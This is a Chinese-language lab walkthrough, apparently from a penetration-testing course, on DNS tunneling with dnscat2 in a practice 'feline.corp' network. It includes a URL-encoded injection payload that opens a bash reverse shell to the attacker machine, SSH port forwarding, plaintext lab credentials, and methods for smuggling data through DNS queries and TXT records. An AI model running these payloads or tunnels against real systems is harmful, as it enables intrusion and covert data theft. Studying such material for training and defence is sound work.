DNS Tunneling - Dnscat2
DNS Tunneling - Dnscat2
場景示意圖
kali 攻擊機 192.168.45.244
靶機
- 192.168.244.7 (kali / 7he_C4t_c0ntro11er) : Domain feline.corp Name Server
- 192.168.244.63 (Web)
- 192.168.244.64 (Internal DNS Server)
- 10.4.244.215 (database_admin / sqlpass123) : Client
先看一下 feline.corp Name Server
sh kali@192.168.244.7
hostname
whoami
ls
cat dnsmasq.conf --> DNS 伺服器最小配置
啟動 DNS Server,sudo dnsmasq -C dnsmasq.conf -d
再連一個 SSH Shell 然後做 tcpdump for UDP 53 port
指令 sudo tcpdump -i ens192 udp port 53
第一步漏洞入侵 Web
curl -v http://192.168.244.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.244/4444%200%3E%261%27%29.start%28%29%22%29%7D/
然後確保 TTY,python3 -c 'import pty; pty.spawn("/bin/bash")'
走 SSH Tunneling 攻擊機掛載 2222 Port 對應到 DB Server 22 Port
ssh -N -R 127.0.0.1:2222:10.4.244.215:22 kali@192.168.45.244
第一次連線發生 Connection refused
這是因為 kali 攻擊機的 OPENSSH 權限,所以要執行 └─$ sudo systemctl start ssh
接著 └─$ ssh database_admin@127.0.0.1 -p 2222
使用 resolvectl status 確認一下現在的 DNS 伺服器為 10.4.244.64 (Internal DNS Server) 無誤
隨便查一筆看看 nslookup exfiltrated-data.feline.corp,結果是 NX Domain
tcpdump 也有看到來問,然後回復 NX Domain
目前情境如下
想像一下我們有一個想要從 PGDATABASE01 中洩漏的二進位檔案。我們怎樣才能做到這一點?
這將需要一系列連續的請求。我們可以將二進位檔案轉換為長的十六進位字串表示形式,將該字串拆分為一系列較小的區塊,然後在 [hex-string-chunk].feline.corp 的 DNS 請求中發送每個塊
先將原有的 Name Server DNS 服務停止再啟動,這次啟動改成讀另一個設定檔 dnsmasq_txt.conf
該設定檔有包含兩筆 www.feline.corp 的 TXT Record
txt-record=www.feline.corp,here's something useful!
txt-record=www.feline.corp,here's something else less useful.
從 client 測試看看吧,nslookup -type=txt www.feline.corp,可以看到 TXT Record
所以這裡有一個大膽簡單的想法,如果我們想要滲透二進位數據進到某個組織內部,可以將其作為一系列 Base64 或 ASCII 十六進位編碼的 TXT 記錄,在內部伺服器上將其轉換回二進位就滲透進去了
19.2.1 的 flag 直接 web 漏洞進去 nslookup 就可以拿到了
正式進入 dnscat2,於 NS 上啟動 dnscat2 伺服器並包含 feline.corp
kali@felineauthority:~$ dnscat2-server feline.corp
DB-Client 預設有載入 dnscat client,執行後一樣對應網域 feline.corp
指令 ./dnscat feline.corp
伺服器上也可以看到連線建立了
注意看上兩張圖,其中 [ Softy Sippy Upseal Neigh Impish Mona ] 這句話是隨機產生的,這是身分驗證字串
接著去看 tcpdump,可以看到一直在對該網域 *.feline.corp 送出隨機的網域
但僅包含三中 DNS Records : MX、CNAME、TXT,這是 dnscat 的程序限制
伺服器上可以開始互動了
windows
window -i 1 --> 列出可用的命令
?
使用 --help 來查看指令,listen --help
可以看到 listen 就像 ssh -L,在 SSH Tunneling 中應用過幾次
我們的目標是內內網主機 172.16.244.217 的 4646 Port
透過 dnscat_exercise_client 去拿 flag,一樣先下載檔案吧
http://192.168.244.63:8090/exercises/dnscat_exercise_client
name server 開 4646 Port 對應到 172.16.244.217 4646 Port
listen 127.0.0.1:4646 172.16.244.217:4646
確定 4646 Port 有起來,kali@felineauthority:~$ ss -ntplu
但是是起在 127.0.0.1 ,所以再起一個 4647 跑在 192.168.244.7 上
listen 192.168.244.7:4647 172.16.244.217:4646
一樣 ss -ntplu 有看到 4647 與 4646 都是對應到 172.16.244.217 的 4646
然後從攻擊機直接對 192.168.244.7 4647 Port 執行檔案拿 flag
留言
張貼留言